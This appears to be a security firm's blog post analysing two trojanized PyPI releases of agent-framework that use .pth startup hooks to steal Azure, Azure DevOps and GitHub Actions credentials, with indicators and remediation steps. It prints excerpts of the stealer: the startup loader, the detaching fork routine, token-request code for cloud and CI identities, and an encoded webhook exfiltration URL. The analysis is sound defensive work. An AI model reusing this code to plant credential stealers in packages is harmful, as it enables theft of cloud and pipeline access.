By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.
18px_cookie
e-remove
Blog

agent-framework compromised: Python startup hooks steal Azure and CI credentials

Attackers pushed two trojanized releases of Microsoft Agent Framework (versions 1.26.1 and 1.26.2) to PyPI that steal Azure, Azure DevOps, and GitHub Actions tokens.

‍

Written by
Peyton Kennedy
Peyton Kennedy
Published on
November 17, 2026
Updated on
November 17, 2026

TL;DR

On November 17, 2026, two malicious releases of agent-framework, the meta-package for Microsoft Agent Framework on PyPI, were published within 33 minutes of each other. Agent-framework is a popular package for building production-grade AI agents and multi-agent workflows. The package sees about 190,000 downloads a month.

Endor Labs detected both malicious packages within three minutes of publication. Version 1.26.1 went up at 20:35 UTC. By 21:13 UTC it had been removed from the index, and version 1.26.2 had taken its place as the latest release. Both carry the same credential stealer and send results to the same webhook.site URL. An unpinned pip install agent-framework resolves to 1.26.2 as of this writing.

The attack lives entirely in packaging. Neither release changes Agent Framework code, and neither pulls in a malicious dependency. Each wheel adds a .pth file to site-packages. Python executes import lines in .pth files on every interpreter start, so the stealer runs on any Python launch in an affected environment, including pip itself, whether or not anything imports Agent Framework.

Three things specific to this case:

  • The second release is built to evade a diff of the first. In 1.26.2 the package's own agent_framework_meta/__init__.py is byte-identical to the clean 1.26.0. The payload moved to a new top-level module, af_runtime_diag.py, loaded by its own .pth file. Detection keyed on changes to the package's module would pass 1.26.2.
  • It targets the identities that build and run agents. The collector requests Azure managed identity tokens for 12 resources, an Azure DevOps OIDC token, and (in 1.26.2) GitHub Actions OIDC tokens for Azure federated credentials. It also reads Azure DevOps agent .credentials files. Developer laptops are in scope, but the payload is written for CI runners and Azure workloads.
  • Only the meta-package was touched. The 22 sibling agent-framework-* packages we checked, including agent-framework-core, still have November 12 as their latest release. Both malicious versions pin agent-framework-core[all]==1.26.0, so the rest of the framework installs normally and the application keeps working.

Affected artifacts

Artifact Status
agent_framework-1.26.2-py3-none-any.whl Malicious. Latest release on PyPI as of 21:13 UTC. Payload in af_runtime_diag.pth and af_runtime_diag.py
agent_framework-1.26.1-py3-none-any.whl Malicious. Removed from the PyPI index by 21:13 UTC. Payload in agent_framework_meta.pth and agent_framework_meta/_telemetry.py
agent-framework==1.26.0 Last clean release (wheel and sdist, November 12)
agent-framework-core and other agent-framework-* packages No new releases since November 12 in the 22 packages we checked

Neither malicious version shipped a source distribution. Every agent-framework release we examined from 1.21.0 through 1.26.0 shipped both a wheel and an sdist.

Timeline

All times UTC.

Time Event
2026-11-12 18:24 to 18:26 Legitimate 1.26.0 release: agent-framework sdist and wheel, plus agent-framework-core and sibling packages, published within about two minutes
2026-11-17 20:35:20 agent-framework==1.26.1 published, wheel only
Between 20:35 and 21:13 1.26.1 removed from the index. Who removed it is not established
2026-11-17 21:08:39 agent-framework==1.26.2 published, wheel only, with the payload relocated
2026-11-17 21:13 1.26.2 confirmed live as the latest release

The second upload came 33 minutes after the first. Whoever published 1.26.1 still had publishing access to the project after it went up, and used it to ship a revised payload.

Technical analysis

Execution on Python startup

The clean 1.26.0 wheel contains one Python file, agent_framework_meta/__init__.py, which reports the package version. 1.26.1 adds two files and changes that one:

agent_framework_meta.pth              (new, 28 bytes)
agent_framework_meta/__init__.py      (changed, 853 -> 994 bytes)
agent_framework_meta/_telemetry.py    (new, 6,721 bytes)

The .pth file contains a single line:

import agent_framework_meta

Python's site module executes .pth lines that begin with import during interpreter startup. Importing the package runs the block appended to the end of __init__.py:

# Lightweight runtime diagnostics hook
try:
    from . import _telemetry as _telemetry
    _telemetry._start()
except Exception:
    pass

_start() sets an environment variable so child processes skip collection, then detaches. On Linux and macOS it forks and calls setsid(), so collection continues after the parent interpreter exits. Where fork is unavailable it falls back to a daemon thread:

def _start():
    if os.environ.get("_AF_TEL"):
        return
    os.environ["_AF_TEL"] = "1"
    try:
        if hasattr(os, "fork"):
            pid = os.fork()
            if pid == 0:
                try:
                    os.setsid()
                except Exception:
                    pass
                _run()
                os._exit(0)
            return
    except Exception:
        pass

The guard lives only in the process environment. Every new top-level Python launch in a fresh shell or CI step collects again. There is no on-disk marker, so the absence of one tells responders nothing.

What the collector takes

Every collection step is wrapped in its own try/except, so a missing file or a blocked endpoint does not stop the rest.

Target Detail
Environment variables Any variable whose name contains one of 31 substrings in 1.26.1, including TOKEN, SECRET, KEY, AZURE, AWS, GITHUB, OPENAI, HF_, FOUNDRY, TENANT, CLIENT, MANAGED. 1.26.2 adds ACTIONS, OIDC, RUNNER, ARM_
Other processes' environments Up to 300 entries under /proc/*/environ, keeping only lines containing TOKEN, SECRET, PASSWORD, KEY=, SYSTEM_ACCESSTOKEN, IDENTITY_HEADER (and ACTIONS_ID_TOKEN in 1.26.2)
Credential files Up to 60 files (80 in 1.26.2) under 256 KB: ~/.azure/*.json, .npmrc, .netrc, .git-credentials, .docker/config.json, pip.conf, Hugging Face tokens, .foundry, token*.json under .config
CI agent secrets Azure DevOps agent .credentials files under _work, vss-agent, and /mnt/azure_nvme_temp. 1.26.2 adds /home/runner/work/_temp/* and /home/runner/.azure
Container app secrets /app/.env, /app/*.env, /app/*.json, /workspace/.env, /workspace/*.json
Azure managed identity Tokens for 12 resources from IMDS or App Service IDENTITY_ENDPOINT, plus IMDS instance metadata
Azure DevOps OIDC A federated token from SYSTEM_OIDCREQUESTURI when SYSTEM_ACCESSTOKEN is present
GitHub Actions OIDC 1.26.2 only. ID tokens for api://AzureADTokenExchange and https://management.azure.com/
Host context Hostname, user, working directory, the first 20 argv entries

The file globs use /home/* and /root, so on a host where the process runs with broad read access the collector takes other users' credentials too.

Cloud and CI identity tokens

The token requests do more than read what is already on disk. They mint fresh tokens from whatever identity the host or pipeline carries. The managed identity step loops over 12 audiences:

res = ["https://management.azure.com/","https://ai.azure.com/","https://ml.azure.com/","https://cognitiveservices.azure.com/","https://storage.azure.com/","https://vault.azure.net","https://search.azure.com","https://management.core.windows.net/","https://graph.microsoft.com/","https://containerregistry.azure.net","499b84ac-1321-427f-aa17-267ca6975798","api://AzureADTokenExchange"]

The GUID is the Azure DevOps resource ID. The list covers Azure Resource Manager, Microsoft Graph, Key Vault, Storage, Container Registry, and the Azure AI and Machine Learning endpoints that Agent Framework users are most likely to have granted their identities.

In an Azure Pipelines job, the collector uses the job's System.AccessToken to request a federated token:

at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
    for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:

1.26.2 adds the same step for GitHub Actions. Any workflow granted id-token: write exposes ACTIONS_ID_TOKEN_REQUEST_URL and ACTIONS_ID_TOKEN_REQUEST_TOKEN, and the collector uses them to request ID tokens it can exchange for Azure access through a federated credential:

u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
    for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):

These tokens are short-lived. They are also usable immediately, and they are issued for whatever the identity can reach. A pipeline identity with subscription-level rights hands the operator that access for the token's lifetime.

Exfiltration

The destination is stored base64-encoded:

_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"

It decodes to https://webhook.site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb. The collector serializes its results as JSON, compresses them with zlib at level 9, base64-encodes the result, and POSTs it to that URL with ?t=telemetry and a 25-second timeout. The User-Agent is af-runtime-diagnostics/1 in 1.26.1 and runtime-diagnostics/1 in 1.26.2. There is no encryption beyond TLS. The response is read and discarded. Neither release fetches or executes remote code.

What changed in 1.26.2

1.26.2 is the same collector, moved and extended. The changes are consistent with an operator who expected 1.26.1 to be caught by its diff from 1.26.0:

Attribute 1.26.1 1.26.2
Startup file agent_framework_meta.pth af_runtime_diag.pth
Payload module agent_framework_meta/_telemetry.py af_runtime_diag.py (top level, calls _start() on import)
agent_framework_meta/__init__.py Modified to call the payload Byte-identical to 1.26.0
GitHub Actions OIDC theft No Yes
GitHub-hosted runner paths No /home/runner/work/_temp/*, /home/runner/.azure
File cap 60 80
User-Agent af-runtime-diagnostics/1 runtime-diagnostics/1
Exfiltration URL webhook.site, same UUID webhook.site, same UUID

The second release added GitHub Actions targeting. Whether that reflects something the operator learned from the first round of exfiltrated data, or a feature that was planned anyway, cannot be determined from the artifacts.

How the malicious releases differ from legitimate ones

The uploads came from an account or token with publishing rights to agent-framework. Nothing in the package metadata separates them from Microsoft's releases: the author, project URLs, description, and classifiers are copied unchanged. The signal is in how the releases were cut.

Signal Recent legitimate releases (1.25.0, 1.26.0) 1.26.1 and 1.26.2
Files Wheel and sdist Wheel only
Sibling packages agent-framework-core and siblings published within the same two minutes No sibling releases
Core dependency A matching agent-framework-core release exists Pins agent-framework-core[all]==1.26.0. There is no core 1.26.1 or 1.26.2
Wheel contents One version module plus metadata Adds a .pth startup file and a collector

PyPI shows no provenance attestation for either malicious wheel. That does not set them apart, because 1.26.0 has none either. As a result, PyPI offers consumers no cryptographic way to tell an attacker's upload from Microsoft's for this project. Trusted publishing with attestations would not have stopped a stolen token from uploading, but its absence would have stood out against a history of attested releases.

Indicators of compromise

Package and payload hashes (SHA-256)

Artifact Hash
agent_framework-1.26.1-py3-none-any.whl d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110
agent_framework_meta.pth (1.26.1) 21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e
agent_framework_meta/__init__.py (1.26.1) c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02
agent_framework_meta/_telemetry.py (1.26.1) 39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663
agent_framework-1.26.2-py3-none-any.whl 3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9
af_runtime_diag.pth (1.26.2) 325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93
af_runtime_diag.py (1.26.2) 54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1f

The agent_framework_meta/__init__.py in 1.26.2 hashes to 5f04333fc30dc7a1af5407996249761531ee75df423f3ea58460dc64ae8e49f1, the same as the clean 1.26.0 file. Do not use it as an indicator.

Network indicators

Indicator Role
hxxps://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry Exfiltration endpoint, both releases
User-Agent: af-runtime-diagnostics/1 Exfiltration request, 1.26.1
User-Agent: runtime-diagnostics/1 Exfiltration request and GitHub OIDC requests, 1.26.2
Requests to 169.254.169.254/metadata/identity/oauth2/token for 12 resources in quick succession from a Python process Managed identity token collection
POST to the Azure DevOps OIDC request URI from a step that does not normally request one ADO token collection
GitHub Actions ID token requests with audience api://AzureADTokenExchange from a step that does not use Azure login GitHub OIDC token collection, 1.26.2

webhook.site is a legitimate request-inspection service. Match on the full URL path, not the domain alone.

Host indicators

Indicator Meaning
agent_framework_meta.pth or af_runtime_diag.pth in site-packages Payload installed
agent_framework_meta/_telemetry.py or af_runtime_diag.py in site-packages Payload installed
agent_framework-1.26.1.dist-info or agent_framework-1.26.2.dist-info Malicious version installed
Environment variable _AF_TEL=1 in a process Collector ran in that process tree
Detached Python process with no controlling terminal, started from a short-lived Python command Collector child still running

Remediation

Step 1: Find exposure

Any install of agent-framework without an exact pin since 20:35 UTC on November 17 resolved to a malicious version. Search everywhere it could have entered:

# Lockfiles and requirement files
grep -rnE 'agent[-_]framework.{0,20}1\.26\.[12]\b' \
  --include='*.txt' --include='*.lock' --include='*.toml' --include='*.cfg' .

# Installed environments: read from disk, do not run the environment's Python
find / -path '*site-packages/agent_framework-1.26.[12].dist-info' -type d 2>/dev/null
find / -path '*site-packages/*' \( -name 'agent_framework_meta.pth' -o -name 'af_runtime_diag.pth' \) -type f 2>/dev/null

# Confirm by hash
find / -path '*site-packages/*' \( -name '_telemetry.py' -o -name 'af_runtime_diag.py' \) -type f \
  -exec sha256sum {} + 2>/dev/null | grep -E '39fa329f2a93f734|54d885b7d7161c9e'

Check CI build logs and dependency caches from November 17 onward, including any job that installed agent-framework without a version pin. Check container images built after 20:35 UTC that install Python dependencies at build time.

Step 2: Contain affected hosts

  • Do not run python or pip in an affected environment as a first step. Every interpreter start runs the collector again, and that includes pip uninstall.
  • Isolate the host or container from the network before investigating where you can, and preserve process listings and egress logs.
  • Remove the payload with tools that do not start the affected interpreter. Delete agent_framework_meta.pth, af_runtime_diag.pth, af_runtime_diag.py, agent_framework_meta/_telemetry.py, their __pycache__ entries, and the malicious dist-info directory from site-packages.
  • Prefer rebuilding from a clean base image or a fresh virtual environment over cleaning in place.

Step 3: Rotate credentials

If Python ran in an affected environment after installation, treat every credential the process could read or request as exposed. Rotate from a clean machine:

  • Azure managed identities and service principals reachable from affected hosts. Issued access tokens generally cannot be revoked before they expire, so review Entra ID sign-in logs for managed identity and service principal sign-ins from unexpected IP addresses, and consider removing role assignments temporarily while you investigate.
  • Azure DevOps: re-register self-hosted agents whose .credentials files were readable, rotate PATs and service connection secrets, and review federated service connections used by affected pipelines.
  • GitHub Actions workflows with id-token: write that installed a malicious version: review use of the federated credentials those workflows can assume.
  • Azure CLI token caches under ~/.azure, plus npm, PyPI index, Docker registry, git, and Hugging Face credentials.
  • Azure OpenAI, Foundry, and other model provider keys, and every secret present in the process environment or in .env files under /app or /workspace.

Review cloud, identity provider, repository, and registry audit logs for use of these credentials after the install time.

Step 4: Hunt in network logs

  • POST requests to webhook.site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb.
  • Requests with User-Agent af-runtime-diagnostics/1 or runtime-diagnostics/1.
  • A burst of IMDS token requests for many different resources from a single Python process.

If egress from your CI runners or Azure workloads to webhook.site is not something you expect, blocking the domain is low-risk and closes this channel for any variant that reuses it.

Step 5: Pin and restore

# requirements.txt, generated with hashes for the full dependency set
# (pip-compile --generate-hashes or uv pip compile --generate-hashes)
agent-framework==1.26.0 \
    --hash=sha256:14267ec8e6929c139015f8ec918adc638a71c7656901413426bb30ab199b6d71

pip install --require-hashes -r requirements.txt</code></pre>

--require-hashes needs a hash for every package, so generate the file rather than writing it by hand. Block agent-framework==1.26.1 and agent-framework==1.26.2 in your package proxy or allowlist. As of 21:16 UTC, 1.26.2 is still the latest version on PyPI, so any unpinned install continues to receive the payload until it is removed.

Longer term

  • Alert on startup hooks in dependencies. A new .pth file with an import line in a third-party wheel is rare and high-signal. LiteLLM 1.107.0 used the same technique last month.
  • Treat a missing sdist as a signal. A project that has always shipped a wheel and an sdist and suddenly ships a wheel alone deserves a second look before it reaches a build.
  • Delay new releases. A minimum release age in your package proxy, even 24 hours, would have kept both versions out of every build that respected it.
  • Scope CI identities tightly. Grant id-token: write only to jobs that need it, and restrict federated credential subject claims to specific repositories, branches, and environments. A job that installs dependencies should not also hold a token that can mint subscription-wide Azure access.
  • Publish with attestations. For maintainers: trusted publishing with attestations does not stop every compromise, but a consistent history of attested releases makes an unattested upload stand out to anyone checking.